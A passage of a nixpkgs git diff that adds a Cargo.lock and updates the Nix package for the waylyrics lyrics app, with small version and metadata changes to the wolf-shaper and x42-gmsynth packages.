"f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "signal-hook-registry" +version = "1.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8229b473baa5980ac72ef434c4415e70c4b5e71b423043adb4ba059f89c99a1" +dependencies = [ + "libc", +] + +[[package]] +name = "simdutf8" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f27f6278552951f1f2b8cf9da965d10969b2efdea95a6ec47987ab46edfe263a" + +[[package]] +name = "siphasher" +version = "0.3.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38b58827f4464d87d377d175e90bf58eb00fd8716ff0a62f80356b5e61555d0d" + +[[package]] +name = "slab" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67" +dependencies = [ + "autocfg", +] + +[[package]] +name = "smallvec" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6ecd384b10a64542d77071bd64bd7b231f4ed5940fba55e98c3de13824cf3d7" + +[[package]] +name = "socket2" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b5fac59a5cb5dd637972e5fca70daf0523c9067fcdc4842f053dae04a18f8e9" +dependencies = [ + "libc", + "windows-sys 0.48.0", +] + +[[package]] +name = "sorensen" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f480a5525538a706e6cb343127173f9b2fc402dea20cfdbbe6e91df018baedb8" +dependencies = [ + "assert_float_eq", + "hashbrown 0.12.3", +] + +[[package]] +name = "strsim" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ea5119cdb4c55b55d432abb513a0429384878c15dde60cc77b1c99de1a95a6a" + +[[package]] +name = "strsim" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" + +[[package]] +name = "strum" +version = "0.26.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "723b93e8addf9aa965ebe2d11da6d7540fa2283fcea14b3371ff055f7ba13f5f" +dependencies = [ + "strum_macros", +] + +[[package]] +name = "strum_macros" +version = "0.26.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a3417fc93d76740d974a01654a09777cb500428cc874ca9f45edfe0c4d4cd18" +dependencies = [ + "heck 0.4.1", + "proc-macro2", + "quote 1.0.35", + "rustversion", + "syn 2.0.50", +] + +[[package]] +name = "syn" +version = "0.11.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3b891b9015c88c576343b9b3e41c2c11a51c219ef067b264bd9c8aa9b441dad" +dependencies = [ + "quote 0.3.15", + "synom", + "unicode-xid", +] + +[[package]] +name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote 1.0.35", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "2.0.50" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74f1bdc9872430ce9b75da68329d1c1746faf50ffac5f19e02b71e37ff881ffb" +dependencies = [ + "proc-macro2", + "quote 1.0.35", + "unicode-ident", +] + +[[package]] +name = "syn_derive" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1329189c02ff984e9736652b1631330da25eaa6bc639089ed4915d25446cbe7b" +dependencies = [ + "proc-macro-error", + "proc-macro2", + "quote 1.0.35", + "syn 2.0.50", +] + +[[package]] +name = "sync_wrapper" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2047c6ded9c721764247e62cd3b03c09ffc529b2ba5b10ec482ae507a4a70160" + +[[package]] +name = "synom" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a393066ed9010ebaed60b9eafa373d4b1baac186dd7e008555b0f702b51945b6" +dependencies = [ + "unicode-xid", +] + +[[package]] +name = "system-configuration" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba3a3adc5c275d719af8cb4272ea1c4a6d668a777f37e115f6d11ddbc1c8e0e7" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "system-configuration-sys", +] + +[[package]] +name = "system-configuration-sys" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75fb188eb626b924683e3b95e3a48e63551fcfb51949de2f06a9d91dbee93c9" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "system-deps" +version = "6.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a2d580ff6a20c55dfb86be5f9c238f67835d0e81cbdea8bf5680e0897320331" +dependencies = [ + "cfg-expr", + "heck 0.4.1", + "pkg-config", + "toml", + "version-compare", +] + +[[package]] +name = "tap" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "55937e1799185b12863d447f42597ed69d9928686b8d88a1df17376a097d8369" + +[[package]] +name = "target-lexicon" +version = "0.12.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e1fc403891a21bcfb7c37834ba66a547a8f402146eba7265b5a6d88059c9ff2f" + +[[package]] +name = "temp-dir" +version = "0.1.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd16aa9ffe15fe021c6ee3766772132c6e98dfa395a167e16864f61a9cfb71d6" + +[[package]] +name = "tempfile" +version = "3.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a365e8cd18e44762ef95d87f284f4b5cd04107fec2ff3052bd6a3e6069669e67" +dependencies = [ + "cfg-if", + "fastrand", + "rustix", + "windows-sys 0.52.0", +] + +[[package]] +name = "textwrap" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d326610f408c7a4eb6f51c37c330e496b08506c9457c9d34287ecc38809fb060" +dependencies = [ + "unicode-width", +] + +[[package]] +name = "thiserror" +version = "1.0.57" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e45bcbe8ed29775f228095caf2cd67af7a4ccf756ebff23a306bf3e8b47b24b" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.57" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a953cb265bef375dae3de6663da4d3804eee9682ea80d8e2542529b73c531c81" +dependencies = [ + "proc-macro2", + "quote 1.0.35", + "syn 2.0.50", +] + +[[package]] +name = "thread_local" +version = "1.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b9ef9bad013ada3808854ceac7b46812a6465ba368859a37e2100283d2d719c" +dependencies = [ + "cfg-if", + "once_cell", +] + +[[package]] +name = "time" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8248b6521bb14bc45b4067159b9b6ad792e2d6d754d6c41fb50e29fefe38749" +dependencies = [ + "deranged", + "itoa", + "num-conv", + "powerfmt", + "serde", + "time-core", + "time-macros", +] + +[[package]] +name = "time-core" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3" + +[[package]] +name = "time-macros" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ba3a3ef41e6672a2f0f001392bb5dcd3ff0a9992d618ca761a11c3121547774" +dependencies = [ + "num-conv", + "time-core", +] + +[[package]] +name = "tinyvec" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" + +[[package]] +name = "tokio" +version = "1.36.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61285f6515fa018fb2d1e46eb21223fff441ee8db5d0f1435e8ab4f5cdb80931" +dependencies = [ + "backtrace", + "bytes", + "libc", + "mio", + "num_cpus", + "parking_lot", + "pin-project-lite", + "signal-hook-registry", + "socket2", + "tokio-macros", + "windows-sys 0.48.0", +] + +[[package]] +name = "tokio-macros" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b" +dependencies = [ + "proc-macro2", + "quote 1.0.35", + "syn 2.0.50", +] + +[[package]] +name = "tokio-native-tls" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbae76ab933c85776efabc971569dd6119c580d8f5d448769dec1764bf796ef2" +dependencies = [ + "native-tls", + "tokio", +] + +[[package]] +name = "tokio-util" +version = "0.7.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5419f34732d9eb6ee4c3578b7989078579b7f039cbbb9ca2c4da015749371e15" +dependencies = [ + "bytes", + "futures-core", + "futures-sink", + "pin-project-lite", + "tokio", + "tracing", +] + +[[package]] +name = "toml" +version = "0.8.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a9aad4a3066010876e8dcf5a8a06e70a558751117a145c6ce2b82c2e2054290" +dependencies = [ + "serde", + "serde_spanned", + "toml_datetime", + "toml_edit 0.22.6", +] + +[[package]] +name = "toml_datetime" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3550f4e9685620ac18a50ed434eb3aec30db8ba93b0287467bca5826ea25baf1" +dependencies = [ + "serde", +] + +[[package]] +name = "toml_edit" +version = "0.21.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a8534fd7f78b5405e860340ad6575217ce99f38d4d5c8f2442cb5ecb50090e1" +dependencies = [ + "indexmap", + "toml_datetime", + "winnow 0.5.40", +] + +[[package]] +name = "toml_edit" +version = "0.22.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c1b5fd4128cc8d3e0cb74d4ed9a9cc7c7284becd4df68f5f940e1ad123606f6" +dependencies = [ + "indexmap", + "serde", + "serde_spanned", + "toml_datetime", + "winnow 0.6.2", +] + +[[package]] +name = "tower-service" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6bc1c9ce2b5135ac7f93c72918fc37feb872bdc6a5533a8b85eb4b86bfdae52" + +[[package]] +name = "tracing" +version = "0.1.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" +dependencies = [ + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" +dependencies = [ + "proc-macro2", + "quote 1.0.35", + "syn 2.0.50", +] + +[[package]] +name = "tracing-core" +version = "0.1.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" +dependencies = [ + "once_cell", + "valuable", +] + +[[package]] +name = "tracing-journald" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba316a74e8fc3c3896a850dba2375928a9fa171b085ecddfc7c054d39970f3fd" +dependencies = [ + "libc", + "tracing-core", + "tracing-subscriber", +] + +[[package]] +name = "tracing-log" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" +dependencies = [ + "log", + "once_cell", + "tracing-core", +] + +[[package]] +name = "tracing-subscriber" +version = "0.3.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad0f048c97dbd9faa9b7df56362b8ebcaa52adb06b498c050d2f4e32f90a7a8b" +dependencies = [ + "matchers", + "nu-ansi-term", + "once_cell", + "regex", + "sharded-slab", + "smallvec", + "thread_local", + "tracing", + "tracing-core", + "tracing-log", +] + +[[package]] +name = "try-lock" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" + +[[package]] +name = "unicode-bidi" +version = "0.3.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08f95100a766bf4f8f28f90d77e0a5461bbdb219042e7679bebe79004fed8d75" + +[[package]] +name = "unicode-ident" +version = "1.0.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" + +[[package]] +name = "unicode-normalization" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a56d1686db2308d901306f92a263857ef59ea39678a5458e7cb17f01415101f5" +dependencies = [ + "tinyvec", +] + +[[package]] +name = "unicode-segmentation" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d4c87d22b6e3f4a18d4d40ef354e97c90fcb14dd91d7dc0aa9d8a1172ebf7202" + +[[package]] +name = "unicode-width" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e51733f11c9c4f72aa0c160008246859e340b00807569a0da0e7a1079b27ba85" + +[[package]] +name = "unicode-xid" +version = "0.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8c1f860d7d29cf02cb2f3f359fd35991af3d30bac52c57d265a3c461074cb4dc" + +[[package]] +name = "url" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31e6302e3bb753d46e83516cae55ae196fc0c309407cf11ab35cc51a4c2a4633" +dependencies = [ + "form_urlencoded", + "idna 0.5.0", + "percent-encoding", +] + +[[package]] +name = "uuid" +version = "1.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f00cc9702ca12d3c81455259621e676d0f7251cec66a21e98fe2e9a37db93b2a" + +[[package]] +name = "valuable" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d" + +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + +[[package]] +name = "vec_map" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1bddf1187be692e79c5ffeab891132dfb0f236ed36a43c7ed39f1165ee20191" + +[[package]] +name = "version-compare" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "579a42fc0b8e0c63b76519a339be31bed574929511fa53c1a3acae26eb258f29" + +[[package]] +name = "version_check" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" + +[[package]] +name = "want" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" +dependencies = [ + "try-lock", +] + +[[package]] +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" + +[[package]] +name = "wasm-bindgen" +version = "0.2.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1e124130aee3fb58c5bdd6b639a0509486b0338acaaae0c84a5124b0f588b7f" +dependencies = [ + "cfg-if", + "wasm-bindgen-macro", +] + +[[package]] +name = "wasm-bindgen-backend" +version = "0.2.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c9e7e1900c352b609c8488ad12639a311045f40a35491fb69ba8c12f758af70b" +dependencies = [ + "bumpalo", + "log", + "once_cell", + "proc-macro2", + "quote 1.0.35", + "syn 2.0.50", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.41" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877b9c3f61ceea0e56331985743b13f3d25c406a7098d45180fb5f09bc19ed97" +dependencies = [ + "cfg-if", + "js-sys", + "wasm-bindgen", + "web-sys", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b30af9e2d358182b5c7449424f017eba305ed32a7010509ede96cdc4696c46ed" +dependencies = [ + "quote 1.0.35", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "642f325be6301eb8107a83d12a8ac6c1e1c54345a7ef1a9261962dfefda09e66" +dependencies = [ + "proc-macro2", + "quote 1.0.35", + "syn 2.0.50", + "wasm-bindgen-backend", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4f186bd2dcf04330886ce82d6f33dd75a7bfcf69ecf5763b89fcde53b6ac9838" + +[[package]] +name = "waylyrics" +version = "0.2.12" +dependencies = [ + "anyhow", + "async-channel", + "async-trait", + "dbus", + "dbus-dummy", + "derivative", + "documented", + "gettext-rs", + "glib-macros", + "gtk4", + "ksni", + "ksni-dummy", + "lrc-nom", + "md5", + "mimalloc", + "mpris", + "ncmapi", + "once_cell", + "openssl", + "qqmusic-rs", + "regex", + "reqwest", + "rust_decimal", + "rust_decimal_macros", + "serde", + "serde_json", + "sorensen", + "strum", + "thiserror", + "tokio", + "toml", + "toml_edit 0.22.6", + "tracing", + "tracing-journald", + "tracing-subscriber", + "url", + "xdg", +] + +[[package]] +name = "web-sys" +version = "0.3.68" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96565907687f7aceb35bc5fc03770a8a0471d82e479f25832f54a0e3f4b28446" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] +name = "windows-targets" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" +dependencies = [ + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + +[[package]] +name = "windows-targets" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" +dependencies = [ + "windows_aarch64_gnullvm 0.52.0", + "windows_aarch64_msvc 0.52.0", + "windows_i686_gnu 0.52.0", + "windows_i686_msvc 0.52.0", + "windows_x86_64_gnu 0.52.0", + "windows_x86_64_gnullvm 0.52.0", + "windows_x86_64_msvc 0.52.0", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" + +[[package]] +name = "windows_i686_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" + +[[package]] +name = "windows_i686_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" + +[[package]] +name = "winnow" +version = "0.5.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f593a95398737aeed53e489c785df13f3618e41dbcd6718c6addbf1395aa6876" +dependencies = [ + "memchr", +] + +[[package]] +name = "winnow" +version = "0.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a4191c47f15cc3ec71fcb4913cb83d58def65dd3787610213c649283b5ce178" +dependencies = [ + "memchr", +] + +[[package]] +name = "winreg" +version = "0.50.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "524e57b2c537c0f9b1e69f1965311ec12182b4122e45035b1508cd24d2adadb1" +dependencies = [ + "cfg-if", + "windows-sys 0.48.0", +] + +[[package]] +name = "wyz" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05f360fc0b24296329c78fda852a1e9ae82de9cf7b27dae4b7f62f118f77b9ed" +dependencies = [ + "tap", +] + +[[package]] +name = "xdg" +version = "2.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "213b7324336b53d2414b2db8537e56544d981803139155afa84f76eeebb7a546" + +[[package]] +name = "xml-rs" +version = "0.8.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fcb9cbac069e033553e8bb871be2fbdffcab578eb25bd0f7c508cedc6dcd75a" diff --git a/pkgs/applications/audio/waylyrics/default.nix b/pkgs/applications/audio/waylyrics/default.nix index bd55b9c762148..f22f4f1e8203e 100644 --- a/pkgs/applications/audio/waylyrics/default.nix +++ b/pkgs/applications/audio/waylyrics/default.nix @@ -1,59 +1,63 @@ -{ lib, fetchFromGitHub, rustPlatform, gtk4, pkg-config, openssl, dbus, wrapGAppsHook4, glib, makeDesktopItem, copyDesktopItems }: +{ lib +, rustPlatform +, fetchFromGitHub +, pkg-config +, wrapGAppsHook4 +, openssl +, dbus +}: rustPlatform.buildRustPackage rec { pname = "waylyrics"; - version = "unstable-2023-05-14"; + version = "0.2.12"; src = fetchFromGitHub { owner = "poly000"; - repo = pname; - rev = "7e8bd99e1748a5448c1a5c49f0664bd96fbf965e"; - hash = "sha256-vSYtLsLvRHCCHxomPSHifXFZKjkFrlskNp7IlFflrUU="; + repo = "waylyrics"; + rev = "v${version}"; + hash = "sha256-sUhFT3Vq/IjbMir7/AVCU8FyfmoNiZsn2zkqdJkOMFo="; }; - cargoHash = "sha256-dpJa0T6xapCBPM5fWbSDEhBlZ55c3Sr5oTnu58B/voM="; + cargoLock = { + lockFile = ./Cargo.lock; + outputHashes = { + "ncmapi-0.1.13" = "sha256-NxgF1TV+3hK5oE/DfJnWyc+XmPX3U1UeD+xTkcvDzIA="; + "qqmusic-rs-0.1.0" = "sha256-woLsO0n+m3EBUI+PRLio7iLp0UPQSliWK0djCSZEaZc="; + }; + }; - nativeBuildInputs = [ pkg-config wrapGAppsHook4 copyDesktopItems ]; - buildInputs = [ gtk4 openssl dbus glib ]; + postPatch = '' + cp ${./Cargo.lock} Cargo.lock + ''; - RUSTC_BOOTSTRAP = 1; + nativeBuildInputs = [ pkg-config wrapGAppsHook4 ]; + buildInputs = [ openssl dbus ]; - doCheck = false; # No tests defined in the project. + checkFlags = [ + "--skip=tests::netease_lyric::get_netease_lyric" # Requires network access + ]; - WAYLYRICS_DEFAULT_CONFIG = "${placeholder "out"}/share/waylyrics/config.toml"; WAYLYRICS_THEME_PRESETS_DIR = "${placeholder "out"}/share/waylyrics/themes"; - desktopItems = [ - (makeDesktopItem { - name = "io.poly000.waylyrics"; - exec = "waylyrics"; - comment = "Simple on screen lyrics for MPRIS-friendly players"; - type = "Application"; - icon = "io.poly000.waylyrics"; - desktopName = "Waylyrics"; - terminal = false; - categories = [ "Audio" "AudioVideo" ]; - }) - ]; - postInstall = '' - $out/bin/gen_config_example - mkdir -p $out/share/waylyrics - install -Dm644 config.toml $WAYLYRICS_DEFAULT_CONFIG - cp -vr themes $out/share/waylyrics/ - rm $out/bin/gen_config_example # Unnecessary for end users + # Install themes + install -d $WAYLYRICS_THEME_PRESETS_DIR + cp -vr themes/* $WAYLYRICS_THEME_PRESETS_DIR + # Install desktop entry + install -Dm644 io.poly000.waylyrics.desktop -t $out/share/applications # Install schema install -Dm644 io.poly000.waylyrics.gschema.xml -t $out/share/gsettings-schemas/$name/glib-2.0/schemas glib-compile-schemas $out/share/gsettings-schemas/$name/glib-2.0/schemas/ # Install icons - cp -vr res/icons $out/share/ + install -d $out/share/icons + cp -vr res/icons/hicolor $out/share/icons/hicolor ''; meta = with lib; { - description = "On screen lyrics for Wayland with NetEase Music source"; + description = "Desktop lyrics with QQ and NetEase Music source"; homepage = "https://github.com/poly000/waylyrics"; - license = licenses.mit; - maintainers = [ maintainers.shadowrz ]; + license = with licenses; [ mit cc-by-40 ]; + maintainers = with maintainers; [ shadowrz aleksana ]; platforms = platforms.linux; }; } diff --git a/pkgs/applications/audio/wolf-shaper/default.nix b/pkgs/applications/audio/wolf-shaper/default.nix index 60b1aea19df21..a3c08e92b7234 100644 --- a/pkgs/applications/audio/wolf-shaper/default.nix +++ b/pkgs/applications/audio/wolf-shaper/default.nix @@ -43,5 +43,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Plus; maintainers = [ maintainers.magnetophon ]; platforms = [ "i686-linux" "x86_64-linux" ]; + mainProgram = "wolf-shaper"; }; } diff --git a/pkgs/applications/audio/x42-gmsynth/default.nix b/pkgs/applications/audio/x42-gmsynth/default.nix index 90db8754ca2ff..8f83263d0a000 100644 --- a/pkgs/applications/audio/x42-gmsynth/default.nix +++ b/pkgs/applications/audio/x42-gmsynth/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "x42-gmsynth"; - version = "0.4.1"; + version = "0.6.0"; src = fetchFromGitHub { owner = "x42"; repo = "gmsynth.lv2"; rev = "v${version}"; - sha256 = "08dvdj8r17sfl6l18g2b8abgls2irkbrq5vhrfai01hp2m0rlm34"; + hash = 